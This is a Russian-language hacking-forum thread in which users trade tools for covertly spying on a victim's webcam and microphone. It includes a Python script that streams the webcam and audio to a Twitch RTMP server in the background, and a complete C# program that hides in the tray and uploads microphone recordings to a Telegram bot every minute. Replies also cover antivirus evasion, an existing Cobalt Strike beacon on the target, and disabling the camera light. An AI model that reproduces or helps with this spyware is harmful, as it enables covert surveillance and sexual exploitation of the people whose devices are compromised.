• XSS.stack #1 – первый литературный журнал от юзеров форума

прочее Бэкдор для прослушивания микрофона, просмотра web камеры

losts

HDD-drive
Пользователь
Регистрация
04.08.2021
Сообщения
36
Реакции
2
Всем привет! Подскажите хорошо работающий бэкдор для просмотра web камеры и прослушивания микрофона. Остальные функции не интересны, нужно только что-бы две эти хорошо работали с минимальным количеством глюков. Бесплатный или крякнутый, так как он нужно для разовой акции. Ну и что бы точно без склеек.
 
Если есть доступ к пк жертвы на которую собираешься дрочить
1)скачай питон ей на пк
2) pip install opencv-python ffmpeg-python
3)регаешься на твиче и вставляешь свой ключ трансляции в скрипт, или можешь любой другой rtmp сервер юзать
4)открой cmd и pythonw Путь/До/Скрипта.py(запустит скрипт в фоне без окон)
Python:
import cv2
import ffmpeg

# Ваш ключ трансляции на Twitch
stream_key = "ваш_ключ_трансляции"

twitch_url = f"rtmp://live.twitch.tv/app/{stream_key}"

# Запустите захват видео с вебкамеры
cap = cv2.VideoCapture(0)

# Получаем параметры видео
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))

# Настраиваем ffmpeg для потоковой передачи
process = (
    ffmpeg
    .input('pipe:', format='rawvideo', pix_fmt='bgr24', s=f'{frame_width}x{frame_height}', framerate=30)
    .input('pipe:', format='s16le', ac=2, ar='44100')  # Аудио с микрофона
    .output(twitch_url, format='flv', vcodec='libx264', acodec='aac', preset='veryfast')
    .overwrite_output()
    .run_async(pipe_stdin=True, pipe_stdout=True, pipe_stderr=True)
)

try:
    while True:
        # Читаем кадр из вебкамеры
        ret, frame = cap.read()
        if not ret:
            break

        # Отправляем кадр в ffmpeg
        process.stdin.write(frame.tobytes())

# Освобождаем ресурсы
cap.release()
process.stdin.close()
process.wait()

Либо можешь этот скрипт вместе с зависимостями скомпилировать в exe через pyinstaller
 
Последнее редактирование:
The problem is if the victim have the poor internet connection then this will gonna fuck his memory

The code should use a temp storage where the recorded stuff can be stored and then safely uploaded
If you have access to the PC of the victim you are going to jerk off to
1) download python to her PC
2) pip install opencv-python ffmpeg-python
3) register on twitch and insert your broadcast key into the script, or you can use any other rtmp server
4)open cmd and pythonw Путь/До/Скрипта.py(runs the script in the background without windows)
Python:
import cv2
import ffmpeg

# Your Twitch Stream Key
stream_key = "your_stream_key"

twitch_url = f"rtmp://live.twitch.tv/app/{stream_key}"

# Start capturing video from your webcam
cap = cv2.VideoCapture(0)

# Get video parameters
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))

# Configure ffmpeg for streaming
process = (
    ffmpeg
    .input('pipe:', format='rawvideo', pix_fmt='bgr24', s=f'{frame_width}x{frame_height}', framerate=30)
    .input('pipe:', format='s16le', ac=2, ar='44100') # Audio from microphone
    .output(twitch_url, format='flv', vcodec='libx264', acodec='aac', preset='veryfast')
    .overwrite_output()
    .run_async(pipe_stdin=True, pipe_stdout=True, pipe_stderr=True)
)

try:
    while True:
        # Reading a frame from a webcam
        ret, frame = cap.read()
        if not ret:
            break

        # Send the frame to ffmpeg
        process.stdin.write(frame.tobytes())

# Freeing up resources
cap.release()
process.stdin.close()
process.wait()

Or you can compile this script together with dependencies into exe via pyinstaller
 
Если есть доступ к пк жертвы на которую собираешься дрочить
1)скачай питон ей на пк
2) pip install opencv-python ffmpeg-python
3)регаешься на твиче и вставляешь свой ключ трансляции в скрипт, или можешь любой другой rtmp сервер юзать
4)открой cmd и pythonw Путь/До/Скрипта.py(запустит скрипт в фоне без окон)
Python:
import cv2
import ffmpeg

# Ваш ключ трансляции на Twitch
stream_key = "ваш_ключ_трансляции"

twitch_url = f"rtmp://live.twitch.tv/app/{stream_key}"

# Запустите захват видео с вебкамеры
cap = cv2.VideoCapture(0)

# Получаем параметры видео
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))

# Настраиваем ffmpeg для потоковой передачи
process = (
    ffmpeg
    .input('pipe:', format='rawvideo', pix_fmt='bgr24', s=f'{frame_width}x{frame_height}', framerate=30)
    .input('pipe:', format='s16le', ac=2, ar='44100')  # Аудио с микрофона
    .output(twitch_url, format='flv', vcodec='libx264', acodec='aac', preset='veryfast')
    .overwrite_output()
    .run_async(pipe_stdin=True, pipe_stdout=True, pipe_stderr=True)
)

try:
    while True:
        # Читаем кадр из вебкамеры
        ret, frame = cap.read()
        if not ret:
            break

        # Отправляем кадр в ffmpeg
        process.stdin.write(frame.tobytes())

# Освобождаем ресурсы
cap.release()
process.stdin.close()
process.wait()

Либо можешь этот скрипт вместе с зависимостями скомпилировать в exe через pyinstaller
Мне такой вариант не очень подходит. Да, есть доступ к компьютеру, маяк кобальта, но ставить питон очень палевно. И хоть камера интересует, но на первом месте у меня все же микрофон.
 
Мне такой вариант не очень подходит. Да, есть доступ к компьютеру, маяк кобальта, но ставить питон очень палевно. И хоть камера интересует, но на первом месте у меня все же микрофон.
может тогда PowerShell скрипт написать какой-то или опять-же exe
либо питон скрыть как-то
 
Мне такой вариант не очень подходит. Да, есть доступ к компьютеру, маяк кобальта, но ставить питон очень палевно. И хоть камера интересует, но на первом месте у меня все же микрофон.
1729554837378.png
 
И хоть камера интересует, но на первом месте у меня все же микрофон.
На лови под венду 7-10 для микрофона, собирать в NET 8.0 в Windows Form для x64 (если будешь делать компиляцию автономного .exe получится мамонт в 180 метров, но за-то 2 детекта от нонейм AV судя по VT (мне кажется зря я это проверил, возможно теперь будет больше), а вот через Net Framework 4.8 детектов больше но и вес на выходе всего в 800 килобайт, размер выходного файла можешь сам поправить изменив качество wav в исходнике). Перед запуском прячется в трей и стучит в бота телеги каждую минуту файлом записи с микрофона, потом просто склеишь все аудиофайлы и всё. Перед сборкой в Visual Studio 2022 через nuget накатить NAudio и Telegram.bot последних версий:

C#:
using NAudio.Wave;
using Telegram.Bot;
using Telegram.Bot.Types;

namespace SpyRecorder
{
    class Program
    {
        // Telegram токен вашего бота и ID чата
        static string botToken = "7469496237:AAGOVA0lOvBr0t9L1ckbaybSGp0NyL55555"; // Замени на свой токен из botfather
        static long chatId = 6483025555; // Замени на свой chat ID в телеге чтобы бот слал именно тебе
        // Переменные для записи аудио
        static WaveInEvent waveIn;
        static WaveFileWriter writer;
        static string currentFilePath;
        // Таймер для записи и отправки файла каждую минуту (60000 миллисекунд), можешь изменить под себя;
        static System.Timers.Timer recordingTimer = new System.Timers.Timer(60000);
        static async Task Main(string[] args)
        {
            NotifyIcon trayIcon = new NotifyIcon
            {
                Icon = SystemIcons.Application,
                Visible = true,
                Text = "Аудио запись"
            };
            ContextMenuStrip trayMenu = new ContextMenuStrip();
            trayMenu.Items.Add("Выход", null, (sender, e) => Application.Exit());
            trayIcon.ContextMenuStrip = trayMenu;
            StartRecording();
            recordingTimer.Elapsed += async (sender, e) => await SaveAndSendAudio();
            recordingTimer.Start();
            Application.Run();
        }
        static void StartRecording()
        {
            waveIn = new WaveInEvent
            {
                DeviceNumber = 0,
                WaveFormat = new WaveFormat(44100, 16, 2)
            };
            currentFilePath = $"audio_{DateTime.Now:yyyyMMdd_HHmmss}.wav";
            writer = new WaveFileWriter(currentFilePath, waveIn.WaveFormat);
            waveIn.DataAvailable += (sender, e) =>
            {
                writer.Write(e.Buffer, 0, e.BytesRecorded);
            };
            waveIn.StartRecording();
        }
        static async Task SaveAndSendAudio()
        {
            waveIn.StopRecording();
            writer.Dispose();
            await SendAudioToTelegram(currentFilePath);
            StartRecording();
        }
        static async Task SendAudioToTelegram(string filePath)
        {
            var botClient = new TelegramBotClient(botToken);
            using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read))
            {
                var fileName = Path.GetFileName(filePath);
                await botClient.SendDocumentAsync(
                    chatId: chatId,
                    document: InputFile.FromStream(fileStream, fileName),
                    caption: $"Запись от {DateTime.Now:yyyy-MM-dd HH:mm:ss}"
                );
            }
        }
    }
}
 
Последнее редактирование:
Если есть доступ к пк жертвы на которую собираешься дрочить
1)скачай питон ей на пк
2) pip install opencv-python ffmpeg-python
3)регаешься на твиче и вставляешь свой ключ трансляции в скрипт, или можешь любой другой rtmp сервер юзать
4)открой cmd и pythonw Путь/До/Скрипта.py(запустит скрипт в фоне без окон)
Python:
import cv2
import ffmpeg

# Ваш ключ трансляции на Twitch
stream_key = "ваш_ключ_трансляции"

twitch_url = f"rtmp://live.twitch.tv/app/{stream_key}"

# Запустите захват видео с вебкамеры
cap = cv2.VideoCapture(0)

# Получаем параметры видео
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))

# Настраиваем ffmpeg для потоковой передачи
process = (
    ffmpeg
    .input('pipe:', format='rawvideo', pix_fmt='bgr24', s=f'{frame_width}x{frame_height}', framerate=30)
    .input('pipe:', format='s16le', ac=2, ar='44100')  # Аудио с микрофона
    .output(twitch_url, format='flv', vcodec='libx264', acodec='aac', preset='veryfast')
    .overwrite_output()
    .run_async(pipe_stdin=True, pipe_stdout=True, pipe_stderr=True)
)

try:
    while True:
        # Читаем кадр из вебкамеры
        ret, frame = cap.read()
        if not ret:
            break

        # Отправляем кадр в ffmpeg
        process.stdin.write(frame.tobytes())

# Освобождаем ресурсы
cap.release()
process.stdin.close()
process.wait()

Либо можешь этот скрипт вместе с зависимостями скомпилировать в exe через pyinstaller
можно улучишить, если добавить сюда нейронку для детекта человека перед вэбкой. типа раз в 20 минут чекает вэбку, если жертва.. ой человека перед вэбкой то начинает скринить пока не уйдет от вэбки. а то нах засорять место на диске каким то мусором без жертвы
 
можно улучишить, если добавить сюда нейронку для детекта человека перед вэбкой. типа раз в 20 минут чекает вэбку, если жертва.. ой человека перед вэбкой то начинает скринить пока не уйдет от вэбки. а то нах засорять место на диске каким то мусором без жертвы
Алгоритмы сжатия видео и так это делают. Каждый следующий кадр содержит инфу об изменившихся блоках пикселей относительно предыдущего. Если картинка статичная и на видео ничего не двигается то оно будет весить очень мало. Можешь 10часовое видео с черным экраном записать оно будет весить 10мбайт.
 
Индикатор камеры загорается большой минус
Ну когда-то давно я встречал ратники которые успешно отключали индикатор камеры. Собственно прошу посоветовать RAT, желательно с открытым исходным кодом или проверенный временем под Win7 с последними обновлениями, где будут нормально работать функции просмотра web камеры и прослушивания микрофона, хорошо если с записью. Я уверен, что тут много людей которые пользуются или пользовались подобным софтом
 
Мне такой вариант не очень подходит. Да, есть доступ к компьютеру, маяк кобальта, но ставить питон очень палевно. И хоть камера интересует, но на первом месте у меня все же микрофон.
не ставь , принеси ембедед версию
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх